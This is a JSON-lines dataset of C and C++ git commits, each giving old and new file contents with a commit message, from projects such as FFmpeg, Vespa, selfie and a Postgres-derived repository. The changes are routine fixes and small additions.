{"commit":"c2c430877f6ccdcc12c6e832fffdbcfed799b087","old_file":"LinkList_reverse_print.c","new_file":"LinkList_reverse_print.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\/* Linked List Implementation in C *\/\n\/\/ This program aims at \"Revering the Link List\"\n\ntypedef struct node{\n\tint data;\n\tstruct node *link;\t\n} node;\n\nnode* head; \/\/global variable\n\nvoid insert_append(int x){\nnode* temp;\ntemp = (node*)malloc(sizeof(node));\n\ntemp->data = x;\ntemp->link=NULL;\n\n\nif(head!=NULL){\n\tnode* temp_travel;\n\ttemp_travel =head;\n\twhile(temp_travel->link != NULL){\n\t\ttemp_travel = temp_travel->link;\n\t}\n\ttemp_travel->link = temp;\n\n\treturn;\n}\nhead =temp;\nreturn;\n\n}\n\nvoid reverse(){\n\nnode* prev;\nprev = NULL;\nnode* current;\ncurrent=head;\n\nnode* next;\n\n\nwhile(current!= NULL){\n\nnext=current->link;\ncurrent->link = prev;\nprev = current;\ncurrent=next;\n\n}\n\nhead=prev;\n\nreturn;\n}\n\nvoid print(){\n\tnode* temp = head;\n\tprintf(\"list is:\");\n\twhile(temp!= NULL){\n\t\tprintf(\" %d\",temp->data);\n\t\ttemp = temp->link;\n\t}\n\tprintf(\"\\n\");\n}\n\nint main(){\n\thead = NULL; \/\/empty list\n\n\tinsert_append(1); \/\/list is: 1\n\tinsert_append(2); \/\/list is: 1 2\n\tinsert_append(3); \/\/list is: 1 2 3\n\tinsert_append(4); \/\/list is: 1 2 3 4\n\tinsert_append(5); \/\/list is: 1 2 3 4 5\n\n\tprint();\n\n\treverse(); \/\/list is : 5 4 3 2 1\n\n\tprint();\n\treturn 0;\n}","subject":"Add Link List Recusrive Print and reverse print","message":"Add Link List Recusrive Print and reverse print\n","lang":"C","license":"mit","repos":"anaghajoshi\/C_DataStructures_Algorithms"}
{"commit":"4dd45b3e9e6c487950117c50336b6d59b9baeb46","old_file":"libavfilter\/allfilters.c","new_file":"libavfilter\/allfilters.c","old_contents":"","new_contents":"\/*\n * filter registration\n * copyright (c) 2008 Vitor Sessak\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"avfilter.h\"\n\n#define REGISTER_VF(X,x) { \\\n          extern AVFilter avfilter_vf_##x ; \\\n          if(ENABLE_VF_##X )  avfilter_register(&avfilter_vf_##x ); }\n\n\n#define REGISTER_VSRC(X,x) { \\\n          extern AVFilter avfilter_vsrc_##x ; \\\n          if(ENABLE_VSRC_##X )  avfilter_register(&avfilter_vsrc_##x ); }\n\nvoid avfilter_register_all(void)\n{\n    static int initialized;\n\n    if (initialized)\n        return;\n    initialized = 1;\n\n\/\/    REGISTER_VF(CROP,crop);\n\n}\n","subject":"Add last file of main filter framework","message":"Add last file of main filter framework\n\ngit-svn-id: a4d7c1866f8397a4106e0b57fc4fbf792bbdaaaf@12076 9553f0bf-9b14-0410-a0b8-cfaf0461ba5b\n","lang":"C","license":"lgpl-2.1","repos":"prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg"}
{"commit":"d91dc98abb3ebda043eb97d554fe79e83320e9e2","old_file":"libopenspotify\/sp_user.c","new_file":"libopenspotify\/sp_user.c","old_contents":"#include <spotify\/api.h>\n\n#include \"debug.h\"\n#include \"sp_opaque.h\"\n\nSP_LIBEXPORT(const char *) sp_user_canonical_name(sp_user *user) {\n\tDSFYDEBUG(\"FIXME: Not yet implemented\");\n\n\treturn \"not-yet-implemented\";\n}\n\n\nSP_LIBEXPORT(const char *) sp_user_display_name(sp_user *user) {\n\tDSFYDEBUG(\"FIXME: Not yet implemented\");\n\n\treturn \"not-yet-implemented\";\n}\n\n\nSP_LIBEXPORT(bool) sp_user_is_loaded(sp_user *user) {\n\tDSFYDEBUG(\"FIXME: Not yet implemented\");\n\n\treturn 0;\n}\n","new_contents":"#include <spotify\/api.h>\n\n#include \"debug.h\"\n#include \"sp_opaque.h\"\n\nSP_LIBEXPORT(const char *) sp_user_canonical_name(sp_user *user) {\n\tDSFYDEBUG(\"FIXME: Not yet implemented\\n\");\n\n\treturn \"not-yet-implemented\";\n}\n\n\nSP_LIBEXPORT(const char *) sp_user_display_name(sp_user *user) {\n\tDSFYDEBUG(\"FIXME: Not yet implemented\\n\");\n\n\treturn \"not-yet-implemented\";\n}\n\n\nSP_LIBEXPORT(bool) sp_user_is_loaded(sp_user *user) {\n\tDSFYDEBUG(\"FIXME: Not yet implemented\\n\");\n\n\treturn 0;\n}\n","subject":"Add missing newlines to DSFYDEBUG() calls","message":"Add missing newlines to DSFYDEBUG() calls\n","lang":"C","license":"bsd-2-clause","repos":"noahwilliamsson\/openspotify,noahwilliamsson\/openspotify"}
{"commit":"2ed55f8d7eef0709bf1c96356d98605dd28ce442","old_file":"machine\/include\/config.h","new_file":"machine\/include\/config.h","old_contents":"#ifndef KERN_CONFIG\n#define KERN_CONFIG\n\n#define NUM_STACK_PAGES 2\n#define MAX_AMOUNT_OF_CONTEXTS 32\n\n#define NUM_FDS 32\n\n\/\/ The trampoline must be mapped at the same vaddr for both the kernel and\n\/\/ the userspace processes. The page is mapped to the last VPN slot available\n\/\/ Sv39 has 39bit adresses: 2^39 - PAGESIZE = 0x80'0000'0000 - 0x100 = 0x80'0000'0000\n\/\/ It will be mapped twice in the kernel address space\n#define TRAMPOLINE_VADDR 0x7FFFFFFF00\n\n\/\/ The top-most stack address for a user process. As the stack grows downwards, it's best to place it after the trap trampoline to prevent collisions.\n\/\/ As specified by the RISC-V ELF psABI (https:\/\/github.com\/riscv\/riscv-elf-psabi-doc\/blob\/master\/riscv-elf.md),\n\/\/ we use a descending full stack, i.e. sp points to the last pushed element in the stack\n\/\/ Thus, USERSPACE_STACK_START shall be positioned one above the actual first stack slot.\n#define USERSPACE_STACK_START TRAMPOLINE_VADDR\n\n#endif\n","new_contents":"#ifndef KERN_CONFIG\n#define KERN_CONFIG\n\n#define NUM_STACK_PAGES 2\n#define MAX_AMOUNT_OF_CONTEXTS 32\n\n#define NUM_FDS 32\n\n\/\/ The trampoline must be mapped at the same vaddr for both the kernel and\n\/\/ the userspace processes. The page is mapped to the last VPN slot available\n\/\/ Sv39 has 39bit adresses: 2^39 - PAGESIZE = 0x80'0000'0000 - 0x100 = 0x7F'FFFF'F000\n\/\/ According to the Sv39 documentation, the vaddr \"must have bits 63–39 all equal to bit 38, or else a page-fault\n\/\/ exception will occur\", thus the actual vaddr is 0xFFFF'FFFF'FFFF'F000\n\/\/ It will be mapped twice in the kernel address space\n#define TRAMPOLINE_VADDR 0xFFFFFFFFFFFFF000\n\n\/\/ The top-most stack address for a user process. As the stack grows downwards, it's best to place it after the trap trampoline to prevent collisions.\n\/\/ As specified by the RISC-V ELF psABI (https:\/\/github.com\/riscv\/riscv-elf-psabi-doc\/blob\/master\/riscv-elf.md),\n\/\/ we use a descending full stack, i.e. sp points to the last pushed element in the stack\n\/\/ Thus, USERSPACE_STACK_START shall be positioned one above the actual first stack slot.\n#define USERSPACE_STACK_START TRAMPOLINE_VADDR\n\n#endif\n","subject":"Fix trap trampoline virtual address","message":"Fix trap trampoline virtual address [skip ci]\n\nWe want to map the trap trampoline to the highest possible virtual\naddress, i.e. the last PTE possible. However, Sv39 specifies that bits\n39-63 must reflect bit 38's state lest the CPU raises a page fault.\n","lang":"C","license":"bsd-2-clause","repos":"cksystemsteaching\/selfie,ChristianMoesl\/selfie,cksystemsteaching\/selfie,ChristianMoesl\/selfie,cksystemsteaching\/selfie"}
{"commit":"97d015ba572002c65fab1d4d8256678a9ff7d841","old_file":"elang\/base\/zone_vector.h","new_file":"elang\/base\/zone_vector.h","old_contents":"\/\/ Copyright 2014 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ELANG_BASE_ZONE_VECTOR_H_\n#define ELANG_BASE_ZONE_VECTOR_H_\n\n#include <vector>\n\n#include \"elang\/base\/zone.h\"\n#include \"elang\/base\/zone_allocator.h\"\n\nnamespace elang {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ ZoneVector\n\/\/ A wrapper subclass for |std::vector|.\n\/\/\ntemplate <typename T>\nclass ZoneVector : public std::vector<T, ZoneAllocator<T>> {\n public:\n  explicit ZoneVector(Zone* zone)\n      : std::vector<T, ZoneAllocator<T>>(ZoneAllocator<T>(zone)) {}\n\n  ZoneVector(Zone* zone, size_t size, value_type& val = value_type())\n      : std::vector<T, ZoneAllocator<T>>(size, val, ZoneAllocator<T>(zone)) {}\n\n  ZoneVector(Zone* zone, const std::vector<T>& other)\n      : std::vector<T, ZoneAllocator<T>>(other.begin(),\n                                         other.end(),\n                                         ZoneAllocator<T>(zone)) {}\n};\n\n}  \/\/ namespace elang\n\n#endif  \/\/ ELANG_BASE_ZONE_VECTOR_H_\n","new_contents":"\/\/ Copyright 2014 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ELANG_BASE_ZONE_VECTOR_H_\n#define ELANG_BASE_ZONE_VECTOR_H_\n\n#include <vector>\n\n#include \"elang\/base\/zone.h\"\n#include \"elang\/base\/zone_allocator.h\"\n\nnamespace elang {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ ZoneVector\n\/\/ A wrapper subclass for |std::vector|.\n\/\/\ntemplate <typename T>\nclass ZoneVector : public std::vector<T, ZoneAllocator<T>> {\n public:\n  explicit ZoneVector(Zone* zone)\n      : std::vector<T, ZoneAllocator<T>>(ZoneAllocator<T>(zone)) {}\n\n  ZoneVector(Zone* zone, size_t size, const value_type& val = value_type())\n      : std::vector<T, ZoneAllocator<T>>(size, val, ZoneAllocator<T>(zone)) {}\n\n  ZoneVector(Zone* zone, const std::vector<T>& other)\n      : std::vector<T, ZoneAllocator<T>>(other.begin(),\n                                         other.end(),\n                                         ZoneAllocator<T>(zone)) {}\n};\n\n}  \/\/ namespace elang\n\n#endif  \/\/ ELANG_BASE_ZONE_VECTOR_H_\n","subject":"Make |ZoneVector| constructor to take const reference.","message":"elang\/base: Make |ZoneVector| constructor to take const reference.\n","lang":"C","license":"apache-2.0","repos":"eval1749\/elang,eval1749\/elang,eval1749\/elang,eval1749\/elang,eval1749\/elang"}
{"commit":"f4ef4ff9d744adcc8424e6993674b20000c750bf","old_file":"src\/clock_posix.c","new_file":"src\/clock_posix.c","old_contents":"#include <time.h>\n\n#include \"clock.h\"\n\n#include \"clock_type.h\"\n\nextern int clock_init(struct Clock **clockp, struct Allocator *allocator)\n{\n        struct timespec res;\n\n        if (clock_getres(CLOCK_MONOTONIC, &res) != 0 || res.tv_nsec > 1000) {\n                \/* unknown clock or insufficient resolution *\/\n                return -1;\n        }\n\n        return clock_init_base(clockp, allocator, 1, 1000);\n}\n\nextern uint64_t clock_ticks(struct Clock const *const clock)\n{\n        struct timespec ts;\n        clock_gettime(CLOCK_MONOTONIC, &ts);\n\n        (void)clock;\n\n        return ts.tv_sec * 1000000000LL + ts.tv_nsec;\n}\n","new_contents":"#include <time.h>\n\n#include \"clock.h\"\n\n#include \"clock_type.h\"\n\nextern int clock_init(struct SPDR_Clock **clockp, struct SPDR_Allocator *allocator)\n{\n        struct timespec res;\n\n        if (clock_getres(CLOCK_MONOTONIC, &res) != 0 || res.tv_nsec > 1000) {\n                \/* unknown clock or insufficient resolution *\/\n                return -1;\n        }\n\n        return clock_init_base(clockp, allocator, 1, 1000);\n}\n\nextern uint64_t clock_ticks(struct SPDR_Clock const *const clock)\n{\n        struct timespec ts;\n        clock_gettime(CLOCK_MONOTONIC, &ts);\n\n        (void)clock;\n\n        return ts.tv_sec * 1000000000LL + ts.tv_nsec;\n}\n","subject":"Fix compilation on posix platforms","message":"Fix compilation on posix platforms\n","lang":"C","license":"mit","repos":"uucidl\/uu.spdr,uucidl\/uu.spdr,uucidl\/uu.spdr"}
{"commit":"5cd8261adec0f6b5de939ecf826ee8638a5a93e4","old_file":"src\/output.c","new_file":"src\/output.c","old_contents":"#include <format.h>\n#include <string.h> \/* strlen *\/\n#include <output.h>\n#include <unistd.h> \/* write *\/\n\n\/* Initially we put data to stdout. *\/\nint cur_out = 1;\n\n\/* Put data to current output. *\/\nvoid putd(const char *data, unsigned long len)\n\t{\n\t(void)write(cur_out,data,len);\n\t}\n\nvoid put(const char *data)\n\t{\n\tputd(data, strlen(data));\n\t}\n\nvoid put_ch(char ch)\n\t{\n\tchar buf[1];\n\tbuf[0] = ch;\n\tputd(buf,1);\n\t}\n\nvoid put_long(long x)\n\t{\n\tput(format_long(x));\n\t}\n\nvoid put_ulong(unsigned long x)\n\t{\n\tput(format_ulong(x));\n\t}\n\nvoid put_double(double x)\n\t{\n\tput(format_double(x));\n\t}\n\nvoid nl(void)\n\t{\n\tputd(\"\\n\",1);\n\t}\n\nvoid set_output(int fd)\n\t{\n\tfsync(cur_out);\n\tcur_out = fd;\n\t}\n\nvoid put_to_error(void)\n\t{\n\tset_output(2);\n\t}\n","new_contents":"#include <format.h>\n#include <string.h> \/* strlen *\/\n#include <output.h>\n#include <unistd.h> \/* write *\/\n\n\/* Initially we put data to stdout. *\/\nint cur_out = 1;\n\n\/* Put data to current output. *\/\nvoid putd(const char *data, unsigned long len)\n\t{\n\tssize_t n = write(cur_out,data,len);\n\t(void)n;\n\t}\n\nvoid put(const char *data)\n\t{\n\tputd(data, strlen(data));\n\t}\n\nvoid put_ch(char ch)\n\t{\n\tchar buf[1];\n\tbuf[0] = ch;\n\tputd(buf,1);\n\t}\n\nvoid put_long(long x)\n\t{\n\tput(format_long(x));\n\t}\n\nvoid put_ulong(unsigned long x)\n\t{\n\tput(format_ulong(x));\n\t}\n\nvoid put_double(double x)\n\t{\n\tput(format_double(x));\n\t}\n\nvoid nl(void)\n\t{\n\tputd(\"\\n\",1);\n\t}\n\nvoid set_output(int fd)\n\t{\n\tfsync(cur_out);\n\tcur_out = fd;\n\t}\n\nvoid put_to_error(void)\n\t{\n\tset_output(2);\n\t}\n","subject":"Work around incompatibility of warn_unused_result on one machine.","message":"Work around incompatibility of warn_unused_result on one machine.\n\nOn one machine, the call to \"write\" in output.c gave this compiler error:\nignoring return value of ‘write’, declared with attribute warn_unused_result\n\nTo work around that, the code now grabs the return value and ignores it with\n(void).\n","lang":"C","license":"mit","repos":"chkoreff\/Fexl,chkoreff\/Fexl"}
{"commit":"7a0ffdc64e8e522035a7bc74ee3cea0bfeb55cd1","old_file":"eval\/src\/vespa\/eval\/eval\/hamming_distance.h","new_file":"eval\/src\/vespa\/eval\/eval\/hamming_distance.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\nnamespace vespalib::eval {\n\ninline double hamming_distance(double a, double b) {\n    uint8_t x = (uint8_t) a;\n    uint8_t y = (uint8_t) b;\n    return __builtin_popcount(x ^ y);\n}\n\n}\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\nnamespace vespalib::eval {\n\ninline double hamming_distance(double a, double b) {\n    uint8_t x = (uint8_t) (int8_t) a;\n    uint8_t y = (uint8_t) (int8_t) b;\n    return __builtin_popcount(x ^ y);\n}\n\n}\n","subject":"Convert from double to signed data type for reference hamming distance.","message":"Convert from double to signed data type for reference hamming distance.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"09a2b4f4234f66c2dc89c269743ba04bf78ae8ba","old_file":"src\/interfaces\/odbc\/md5.h","new_file":"src\/interfaces\/odbc\/md5.h","old_contents":"\/* File:\t\t\tconnection.h\n *\n * Description:\t\tSee \"md.h\"\n *\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\n *\n *\/\n\n#ifndef __MD5_H__\n#define __MD5_H__\n\n#include \"psqlodbc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\n\n\/* From c.h *\/\n#ifndef __BEOS__\n\n#ifndef __cplusplus\n\n#ifndef bool\ntypedef char bool;\n#endif\n\n#ifndef true\n#define true\t((bool) 1)\n#endif\n\n#ifndef false\n#define false\t((bool) 0)\n#endif\n#endif   \/* not C++ *\/\n#endif   \/* __BEOS__ *\/\n\n\/* Also defined in include\/c.h *\/\n#if SIZEOF_UINT8 == 0\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\n#endif   \/* SIZEOF_UINT8 == 0 *\/\n\nextern bool md5_hash(const void *buff, size_t len, char *hexsum);\nextern bool EncryptMD5(const char *passwd, const char *salt,\n\t\t   size_t salt_len, char *buf);\n\n\n#endif\n","new_contents":"\/* File:\t\t\tmd5.h\n *\n * Description:\t\tSee \"md5.c\"\n *\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\n *\n *\/\n\n#ifndef __MD5_H__\n#define __MD5_H__\n\n#include \"psqlodbc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\n\n\/* From c.h *\/\n#ifndef __BEOS__\n\n#ifndef __cplusplus\n\n#ifndef bool\ntypedef char bool;\n#endif\n\n#ifndef true\n#define true\t((bool) 1)\n#endif\n\n#ifndef false\n#define false\t((bool) 0)\n#endif\n#endif   \/* not C++ *\/\n#endif   \/* __BEOS__ *\/\n\n\/* Also defined in include\/c.h *\/\n#if SIZEOF_UINT8 == 0\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\n#endif   \/* SIZEOF_UINT8 == 0 *\/\n\nextern bool md5_hash(const void *buff, size_t len, char *hexsum);\nextern bool EncryptMD5(const char *passwd, const char *salt,\n\t\t   size_t salt_len, char *buf);\n\n\n#endif\n","subject":"Fix comment at top of file to match file name.","message":"Fix comment at top of file to match file name.\n","lang":"C","license":"apache-2.0","repos":"Quikling\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,Chibin\/gpdb,tangp3\/gpdb,chrishajas\/gpdb,yuanzhao\/gpdb,zaksoup\/gpdb,zaksoup\/gpdb,lpetrov-pivotal\/gpdb,xinzweb\/gpdb,rvs\/gpdb,foyzur\/gpdb,foyzur\/gpdb,rvs\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,lpetrov-pivotal\/gpdb,lintzc\/gpdb,xinzweb\/gpdb,lintzc\/gpdb,rubikloud\/gpdb,zeroae\/postgres-xl,janebeckman\/gpdb,zeroae\/postgres-xl,foyzur\/gpdb,lintzc\/gpdb,xuegang\/gpdb,ahachete\/gpdb,yazun\/postgres-xl,techdragon\/Postgres-XL,Postgres-XL\/Postgres-XL,randomtask1155\/gpdb,50wu\/gpdb,atris\/gpdb,kaknikhil\/gpdb,postmind-net\/postgres-xl,Quikling\/gpdb,kaknikhil\/gpdb,royc1\/gpdb,zaksoup\/gpdb,chrishajas\/gpdb,lpetrov-pivotal\/gpdb,kmjungersen\/PostgresXL,Quikling\/gpdb,lisakowen\/gpdb,randomtask1155\/gpdb,rubikloud\/gpdb,Chibin\/gpdb,zeroae\/postgres-xl,yazun\/postgres-xl,yuanzhao\/gpdb,0x0FFF\/gpdb,0x0FFF\/gpdb,tpostgres-projects\/tPostgres,yuanzhao\/gpdb,randomtask1155\/gpdb,lintzc\/gpdb,kaknikhil\/gpdb,adam8157\/gpdb,kmjungersen\/PostgresXL,yazun\/postgres-xl,cjcjameson\/gpdb,tangp3\/gpdb,Quikling\/gpdb,janebeckman\/gpdb,50wu\/gpdb,chrishajas\/gpdb,arcivanov\/postgres-xl,kaknikhil\/gpdb,ashwinstar\/gpdb,yuanzhao\/gpdb,Quikling\/gpdb,ovr\/postgres-xl,CraigHarris\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,cjcjameson\/gpdb,techdragon\/Postgres-XL,Quikling\/gpdb,lpetrov-pivotal\/gpdb,rvs\/gpdb,rubikloud\/gpdb,xuegang\/gpdb,jmcatamney\/gpdb,atris\/gpdb,CraigHarris\/gpdb,snaga\/postgres-xl,jmcatamney\/gpdb,royc1\/gpdb,rvs\/gpdb,jmcatamney\/gpdb,lisakowen\/gpdb,cjcjameson\/gpdb,oberstet\/postgres-xl,yuanzhao\/gpdb,edespino\/gpdb,edespino\/gpdb,xuegang\/gpdb,rvs\/gpdb,oberstet\/postgres-xl,ashwinstar\/gpdb,greenplum-db\/gpdb,ahachete\/gpdb,janebeckman\/gpdb,jmcatamney\/gpdb,CraigHarris\/gpdb,yuanzhao\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,ovr\/postgres-xl,adam8157\/gpdb,randomtask1155\/gpdb,chrishajas\/gpdb,atris\/gpdb,zaksoup\/gpdb,kaknikhil\/gpdb,Postgres-XL\/Postgres-XL,ashwinstar\/gpdb,tpostgres-projects\/tPostgres,edespino\/gpdb,greenplum-db\/gpdb,foyzur\/gpdb,Chibin\/gpdb,snaga\/postgres-xl,xuegang\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,edespino\/gpdb,tangp3\/gpdb,pavanvd\/postgres-xl,Quikling\/gpdb,ahachete\/gpdb,atris\/gpdb,chrishajas\/gpdb,tpostgres-projects\/tPostgres,postmind-net\/postgres-xl,yuanzhao\/gpdb,adam8157\/gpdb,royc1\/gpdb,yazun\/postgres-xl,janebeckman\/gpdb,ashwinstar\/gpdb,atris\/gpdb,rvs\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,zaksoup\/gpdb,ahachete\/gpdb,foyzur\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,yazun\/postgres-xl,0x0FFF\/gpdb,Chibin\/gpdb,tangp3\/gpdb,zaksoup\/gpdb,tpostgres-projects\/tPostgres,ahachete\/gpdb,royc1\/gpdb,lisakowen\/gpdb,0x0FFF\/gpdb,ahachete\/gpdb,0x0FFF\/gpdb,atris\/gpdb,rubikloud\/gpdb,rvs\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,techdragon\/Postgres-XL,arcivanov\/postgres-xl,arcivanov\/postgres-xl,kmjungersen\/PostgresXL,lpetrov-pivotal\/gpdb,kaknikhil\/gpdb,kmjungersen\/PostgresXL,lisakowen\/gpdb,lintzc\/gpdb,ovr\/postgres-xl,kaknikhil\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,edespino\/gpdb,jmcatamney\/gpdb,jmcatamney\/gpdb,xinzweb\/gpdb,kaknikhil\/gpdb,0x0FFF\/gpdb,greenplum-db\/gpdb,techdragon\/Postgres-XL,xuegang\/gpdb,snaga\/postgres-xl,xinzweb\/gpdb,arcivanov\/postgres-xl,ovr\/postgres-xl,xinzweb\/gpdb,snaga\/postgres-xl,rvs\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,pavanvd\/postgres-xl,adam8157\/gpdb,xuegang\/gpdb,ashwinstar\/gpdb,postmind-net\/postgres-xl,edespino\/gpdb,50wu\/gpdb,royc1\/gpdb,Postgres-XL\/Postgres-XL,xuegang\/gpdb,randomtask1155\/gpdb,50wu\/gpdb,tangp3\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,Quikling\/gpdb,ovr\/postgres-xl,cjcjameson\/gpdb,pavanvd\/postgres-xl,Quikling\/gpdb,Chibin\/gpdb,postmind-net\/postgres-xl,Chibin\/gpdb,zeroae\/postgres-xl,zaksoup\/gpdb,rubikloud\/gpdb,janebeckman\/gpdb,lintzc\/gpdb,lpetrov-pivotal\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,royc1\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,randomtask1155\/gpdb,chrishajas\/gpdb,jmcatamney\/gpdb,50wu\/gpdb,janebeckman\/gpdb,50wu\/gpdb,Chibin\/gpdb,edespino\/gpdb,tangp3\/gpdb,xuegang\/gpdb,snaga\/postgres-xl,greenplum-db\/gpdb,rubikloud\/gpdb,zeroae\/postgres-xl,zaksoup\/gpdb,cjcjameson\/gpdb,janebeckman\/gpdb,greenplum-db\/gpdb,chrishajas\/gpdb,yuanzhao\/gpdb,rubikloud\/gpdb,Chibin\/gpdb,oberstet\/postgres-xl,lintzc\/gpdb,ashwinstar\/gpdb,randomtask1155\/gpdb,CraigHarris\/gpdb,kmjungersen\/PostgresXL,foyzur\/gpdb,adam8157\/gpdb,techdragon\/Postgres-XL,lpetrov-pivotal\/gpdb,lpetrov-pivotal\/gpdb,atris\/gpdb,edespino\/gpdb,CraigHarris\/gpdb,yuanzhao\/gpdb,Postgres-XL\/Postgres-XL,xinzweb\/gpdb,janebeckman\/gpdb,ahachete\/gpdb,oberstet\/postgres-xl,50wu\/gpdb,foyzur\/gpdb,arcivanov\/postgres-xl,CraigHarris\/gpdb,adam8157\/gpdb,lintzc\/gpdb,tangp3\/gpdb,Chibin\/gpdb,pavanvd\/postgres-xl,randomtask1155\/gpdb,chrishajas\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,rvs\/gpdb,cjcjameson\/gpdb,postmind-net\/postgres-xl,rvs\/gpdb,Postgres-XL\/Postgres-XL,lisakowen\/gpdb,pavanvd\/postgres-xl,lintzc\/gpdb,lisakowen\/gpdb,rubikloud\/gpdb,oberstet\/postgres-xl,tangp3\/gpdb,ahachete\/gpdb,edespino\/gpdb,CraigHarris\/gpdb,foyzur\/gpdb,lisakowen\/gpdb,tpostgres-projects\/tPostgres,atris\/gpdb,arcivanov\/postgres-xl"}
{"commit":"8573926253391f103e73c7b4ec77a6e61b662186","old_file":"src\/utils.h","new_file":"src\/utils.h","old_contents":"#pragma once\n\n#include <memory>\n\n#include <cstdio> \/\/ fopen, fclose\n\n#include <openssl\/evp.h>\n#include <openssl\/ec.h>\n\nnamespace JWTXX\n{\nnamespace Utils\n{\n\nstruct FileCloser\n{\n    void operator()(FILE* fp) { fclose(fp); }\n};\ntypedef std::unique_ptr<FILE, FileCloser> FilePtr;\n\nstruct EVPKeyDeleter\n{\n    void operator()(EVP_PKEY* key) { EVP_PKEY_free(key); }\n};\ntypedef std::unique_ptr<EVP_PKEY, EVPKeyDeleter> EVPKeyPtr;\n\nstruct EVPMDCTXDeleter\n{\n    void operator()(EVP_MD_CTX* ctx) { EVP_MD_CTX_destroy(ctx); }\n};\ntypedef std::unique_ptr<EVP_MD_CTX, EVPMDCTXDeleter> EVPMDCTXPtr;\n\nEVPKeyPtr readPEMPrivateKey(const std::string& fileName);\nEVPKeyPtr readPEMPublicKey(const std::string& fileName);\n\nstd::string OPENSSLError();\n\n}\n}\n","new_contents":"#pragma once\n\n#include <memory>\n\n#include <cstdio> \/\/ fopen, fclose\n\n#include <openssl\/evp.h>\n#include <openssl\/ec.h>\n\nnamespace JWTXX\n{\nnamespace Utils\n{\n\nstruct EVPKeyDeleter\n{\n    void operator()(EVP_PKEY* key) { EVP_PKEY_free(key); }\n};\ntypedef std::unique_ptr<EVP_PKEY, EVPKeyDeleter> EVPKeyPtr;\n\nstruct EVPMDCTXDeleter\n{\n    void operator()(EVP_MD_CTX* ctx) { EVP_MD_CTX_destroy(ctx); }\n};\ntypedef std::unique_ptr<EVP_MD_CTX, EVPMDCTXDeleter> EVPMDCTXPtr;\n\nEVPKeyPtr readPEMPrivateKey(const std::string& fileName);\nEVPKeyPtr readPEMPublicKey(const std::string& fileName);\n\nstd::string OPENSSLError();\n\n}\n}\n","subject":"Move file closer out from public.","message":"Move file closer out from public.\n","lang":"C","license":"mit","repos":"madf\/jwtxx,madf\/jwtxx,RealImage\/jwtxx,RealImage\/jwtxx"}
